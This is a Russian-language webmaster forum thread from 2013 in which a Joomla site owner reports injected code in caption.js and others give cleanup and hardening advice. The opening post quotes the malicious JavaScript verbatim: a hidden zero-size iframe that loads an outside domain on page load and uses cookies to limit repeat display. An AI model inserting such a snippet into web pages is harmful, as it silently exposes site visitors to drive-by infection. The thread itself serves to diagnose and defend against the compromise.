Помогите найти вредоносный код на сайте (Joomla)

cargenius.ru

Файл "/media/system/js/caption.js

Вредоносный код:

var ifnl9Jkc = document.createElement('iframe');ifnl9Jkc.name = 'ifnl9Jkc';ifnl9Jkc.src = 'http://loimret.55l55.com/';ifnl9Jkc.style.width = '0px';ifnl9Jkc.style.height = '0px';window.onload = function() {document.cookie = 'chcook=yes; path=/; expires=Wednesday, 18-May-33 03:33:20 GMT'; if ((document.cookie.indexOf('ifnl9Jkc=') == -1) && (document.cookie.indexOf('chcook=') != -1)) { document.getElementsByTagName('body')[0].appendChild(ifnl9Jkc);var expiresDate = new Date(); expiresDate.setTime(expiresDate.getTime() + 432000000); setTimeout(function() { document.cookie = 'ifnl9Jkc=yes; path=/; expires=' + expiresDate; }, 5000);}};

Какой хостинг?

За эту неделю у многих появился такой вредоносный код на сайтах, сегодня и я его обнаружил на своем. Не совсем понятно откуда он, некоторые говорят, что проблема с софтом хостеров...

Вот в этой теме также люди пишут о такой проблеме:

тыц

Хостинг украинский, не хостлайф, подержка работает с 8 до 17-00 спрашивать не у кого. Что с этим кодом делать?

---------- Добавлено 27.08.2013 в 23:15 ----------

Связался с хостером, показал код, мне нашли файли на всех сайтах, где еть этот код, пока почистил. Как обезопасить сайты от повторного попадания данного кода на сайты? Пароль в Ц-панель поменял, стер все сохраненные пароль в браузере и ФТП клиенте...

1) разово нанять специалиста, который проверит содержимое каждого сайта - могли оставить шеллы всякие

2) апгрейд всех движков и плагов на каждом сайте

3) закрыть админки и юзер_панели по ИПу, если с сайтом не работают копиры конечно(тут лучше иметь своих копиров, чтобы знать их ИПы, ну или один редактор, который заносит материал копиров на сайты)

4) смена непосредственно паролей на самих сайтах(желательно у всех юзеров)

5) регулярные бэкапы

И если вдруг что откат до предыдущей нормальной версии и повторение пунктов по новой :)

Обновите файлы движка, темплейтов, модулей из дистрибутива. После этого проверьте тщательно установленные модули и темплейт, обычно взламывают через них, проверьте есть ли к ним обновления.

Я рекомендую сортировать файлы по дате модификации и смотреть те, которые были модифицированы во время заражения.

Другой вариант - скачайте бекап на локальный компьютер и просканируйте антивирусом. Я обычно сканирую авастом - он находит весь подозрительный код.

Именно так и палятся модифицированный файлы. Если вердикт: поведенческий фактор, то ищем, как правило, js-файлы, измененные в то время, когда на сайте и появился вирус.

Настоятельно советую все-таки нанять специалиста. Потому что говна может быть много ) И то что вы спалите модифицированный файл ничего вам не даст, ведь шелл через который этот файл изменили может лежать уже годика два на вашем сайте.

у меня хостлайф - нанимал несколько раз автора Ai-bolit (revisium.com) - были проставлены и права на файлы/папки, и настроен php.ini и htaccess в папках и корне... и что? и всё равно права сбрасываются, jquery.js модифицируется - удаляешь, меняешь пароли день-два проходит и снова. Ai-bolit говорит, что такое невозможно без root-прав. Хостер сообщает что на данный момент это глобальная проблема , для всех сайтов и всех хостинг провайдеров.

Куда сваливать? Кто-нибудь, хостящийся на Beget, среди пострадавших тут есть? Может к ним?

И на бегете тоже есть проблемы.

какие именно? тоже jquery ломается?